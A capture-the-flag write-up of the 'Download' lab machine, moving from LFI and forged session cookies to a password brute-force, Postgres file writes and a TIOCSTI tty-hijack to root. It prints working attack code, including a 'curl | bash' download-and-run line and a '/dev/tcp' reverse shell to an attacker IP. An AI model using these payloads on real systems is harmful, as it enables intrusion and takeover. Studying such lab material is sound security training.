Nmap scan

We begin scanning the box with a nmap scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.94 scan initiated Sat Oct 14 04:42:15 2023 as: nmap -sCV -T4 --min-rate 10000 -p- -v -oA nmap/tcp_default 10.10.11.226
Increasing send delay for 10.10.11.226 from 0 to 5 due to 1077 out of 2691 dropped probes since last increase.
Increasing send delay for 10.10.11.226 from 5 to 10 due to 269 out of 672 dropped probes since last increase.
Warning: 10.10.11.226 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.226
Host is up (0.029s latency).
Not shown: 64427 closed tcp ports (reset), 1106 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://download.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 14 04:45:55 2023 -- 1 IP address (1 host up) scanned in 220.84 seconds

Looks like a webserver box. We are being redirected to http://download.htb. Lets add this to our hostfile and continue our scanning.

Directories webserver

Using feroxbuster, we find the following directories and files on the webserver.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
200      GET       56l      166w     2066c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 77l 207w 2697c http://download.htb/auth/login
200 GET 72l 196w 2429c http://download.htb/files/upload
200 GET 43l 113w 1099c http://download.htb/static/js/copy.js
302 GET 1l 4w 33c http://download.htb/home => http://download.htb/auth/login
301 GET 10l 16w 179c http://download.htb/static => http://download.htb/static/
200 GET 5886l 9822w 97582c http://download.htb/static/css/bootstrap-icons.css
200 GET 12l 2206w 196273c http://download.htb/static/css/bootstrap.min.css
200 GET 99l 344w 3409c http://download.htb/
301 GET 10l 16w 187c http://download.htb/static/css => http://download.htb/static/css/
301 GET 10l 16w 185c http://download.htb/static/js => http://download.htb/static/js/
301 GET 10l 16w 191c http://download.htb/static/fonts => http://download.htb/static/fonts/
302 GET 1l 4w 33c http://download.htb/Home => http://download.htb/auth/login
301 GET 10l 16w 179c http://download.htb/Static => http://download.htb/Static/
301 GET 10l 16w 185c http://download.htb/Static/js => http://download.htb/Static/js/
301 GET 10l 16w 187c http://download.htb/Static/css => http://download.htb/Static/css/
301 GET 10l 16w 191c http://download.htb/Static/fonts => http://download.htb/Static/fonts/
302 GET 1l 4w 33c http://download.htb/HOME => http://download.htb/auth/login

Enumerating the webserver and finding LFI

We can upload files and also login. If we upload a file, we upload it as anonymous. If we create a account, we can also choose to make the file private.

If we upload a file we can find it back in /home

We can also download the file:

1
2
3
4
5
6
7
8
9
10
GET /files/download/696f924d-5a07-48b0-8385-bafedbaf74b4 HTTP/1.1
Host: download.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://download.htb/files/view/696f924d-5a07-48b0-8385-bafedbaf74b4
Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfSwidXNlciI6eyJpZCI6MTYsInVzZXJuYW1lIjoiaW5jZW5kaXVtIn19; download_session.sig=y3_RswQPLI53MABpWFbvdzGMXM0
Upgrade-Insecure-Requests: 1

Using URL encoding, we can get LFI:

1
GET /files/download/..%2fapp.js

This leads to the app.js sourcecode. Which includes some interesting content.

We can see in our request to the server we have two cookies:

  • session
  • signature

To verify our session, the server uses the signature. But we just found the key that is used to sign the signature cookie:

1
2
3
4
5
6

app.use((0, cookie_session_1.default)({
name: "download_session",
keys: ["8929874489719802418902487651347865819634518936754"],
maxAge: 7 * 24 * 60 * 60 * 1000,
}

The idea would be to find someone else his files. But we would need a username and id for this since this is included in the cookie:

1
{"flashes":{"info":[],"error":[],"success":[]},"user":{"id":16,"username":"incendium"}}

So we need to use the LFI to find a valid username. But we will need a tool to sign our cookie too. We can use “Cookie-monster” for this:

https://github.com/DigitalInterruption/cookie-monster

Example from the cookie-monster:

Python script to brute the password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import hmac
import hashlib
from base64 import urlsafe_b64encode, urlsafe_b64decode
import json
import requests

def calc_hmac(message):

secret_key = b"8929874489719802418902487651347865819634518936754"

hmac_value = hmac.new(secret_key, message.encode("utf-8"), hashlib.sha1).digest()
hmac_b64 = urlsafe_b64encode(hmac_value).decode('utf-8').replace("=", "")
return hmac_b64

def gen_cookie(hexval):

cookie_name = 'download_session'
cookie_json = '{"flashes":{"info":[],"error":[],"success":[]},"user":{"username":"WESLEY", "password": { "startsWith": "8929874489719802418902487651347865819634518936754"}}}'
cookie_data = json.loads(cookie_json)

# Modify the 'startsWith' value to include the variable
cookie_data['user']['password']['startsWith'] += hexval

# Convert the modified data back to JSON
cookie_json = json.dumps(cookie_data)

cookie_b64 = urlsafe_b64encode(cookie_json.encode('utf-8')).decode('utf-8')
sig = calc_hmac(cookie_name + "=" + cookie_b64)
return {"download_session": cookie_b64, "download_session.sig": sig}

def send_request(hexval):

url = "http://download.htb/home/"

# Get the cookies using the gen_cookie() function
cookies = gen_cookie(hexval)

try:
response = requests.get(url, cookies=cookies)
#print(len(response.content))

# Check if the request was successful (HTTP status code 200)
if response.status_code == 200:
pass
else:
print("GET request failed. Status code:", response.status_code)
except requests.exceptions.RequestException as e:
print("Error: ", e)

return(len(response.content))

def brute_pass():

print('Calculating...')
password_hex = 'f'
while True:
# List of all possible hex values
hex_values = [hex(i)[2:] for i in range(16)]
for i in hex_values:
size = send_request(password_hex + i)
if size != 2166:
# Found next character append it
password_hex += i
break
if i == 'f' and size == 2166:
print(f'Done! Password is {password_hex} ')
exit()

brute_pass()

We get the following md5 hash which cracks with rockyou:

1
2
3
┌──(kali㉿kali)-[~/htb/download]                                                                                    
└─$ hashcat -m 0 f88976c10af66915918945b9679b2bd3 /usr/share/wordlists/rockyou.txt --show
f88976c10af66915918945b9679b2bd3:dunkindonuts

User wesley

We can login to SSH with the found credentials:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/htb/download]                                                                                    
└─$ ssh wesley@download.htb
The authenticity of host 'download.htb (10.10.11.226)' can't be established.
ED25519 key fingerprint is SHA256:I0UEhPwwqSoDLGgboDmJ5hAHx5IJs4Fj4g8KDbJtjEo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'download.htb' (ED25519) to the list of known hosts.
wesley@download.htb's password: dunkindonuts

User wesley is not a privileged user:

1
2
3
4
5
6
wesley@download:/$ id
uid=1000(wesley) gid=1000(wesley) groups=1000(wesley)
wesley@download:/$ sudo -l
[sudo] password for wesley:
Sorry, user wesley may not run sudo on download.
wesley@download:/$

The user postgres does have a shell:

1
2
3
4
wesley@download:/$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
wesley:x:1000:1000:wesley:/home/wesley:/bin/bash
postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

PE to postgres

Using grep, we can find the credentials for postgres:

1
wesley@download:/var/lib/postgresql$ grep -rnw '/' -e 'localhost:5432' 2>/dev/null

This gave me the following creds:

1
2
3
// Some codea/var/www/app/node_modules/prisma/build/index.js:106282:var defaultEnv = /* @__PURE__ */ __name((url2 = "postgresql://johndoe:randompassword@localhost:5432/mydb?schema=public", comments = true) => {
/etc/systemd/system/download-site.service:12:Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"
/usr/lib/python3/dist-packages/sos/report/plugins/candlepin.py:40: # jdbc:postgresql://localhost:5432/candlepin

Using these creds we can login to the DB:

1
2
3
4
5
6
7
8
wesley@download:/var/www/app/node_modules/@prisma/client$ psql -U download -d download -h localhost -W
Password:
psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

download=>

Using \du we can see that we are member of pg_write_server_files

1
2
3
4
5
6
7
8

download=> \du
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------------------+-------------------------
download | | {pg_write_server_files}
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

This means that we can write files as postgres on the system. So we can maybe get access to postgres trough this way.

With pspy64 I noticed how user root kept changing to postgres with the -l parameter:

This let me thinking we could possibly hijack the tty using https://www.errno.fr/TTYPushback.html combined with the write privileges. https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql#simple-file-writing

In the psql shell we send the following command and receive a shell of postgres:

1
copy (select 'curl 10.10.14.69/script.sh | bash') to '/var/lib/postgresql/.bash_profile';

Shell:

1
2
3
08:47:02] 10.10.11.226:53776: registered new host w/ db                                                                                                                                                                      manager.py:957
(local) pwncat$
(remote) postgres@download:/var/lib/postgresql$

PE to root

Ok, but how do we get a root shell now? Well we need to abuse the fact that from root someone switches to the user postgres and we can inject that tty. https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(pwncat-env)─(kali㉿kali)-[~/htb/download]
└─$ cat exploit.c
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
int fd = open("/dev/tty", O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
char *x = "exit\n/bin/bash -l > /dev/tcp/10.10.14.91/1337 0<&1 2>&1\n";
while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x);
if (ret == -1) {
perror("ioctl()");
}
x++;
}
return 0;
}

And we write the following to the bash_profile:

1
COPY (SELECT CAST('/tmp/exploit' AS text)) TO '/var/lib/postgresql/.bash_profile';

This will execute our exploit. After a minute I got a root shell:

1
2
3
4
5
6
7
/home/kali/pwncat-env/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
'class': algorithms.Blowfish,
[11:26:38] Welcome to pwncat 🐈! __main__.py:164
[11:30:04] received connection from 10.10.11.226:54632 bind.py:84
[11:30:05] 10.10.11.226:54632: registered new host w/ db manager.py:957
(local) pwncat$
(remote) root@download:/root# cat /root/root.txt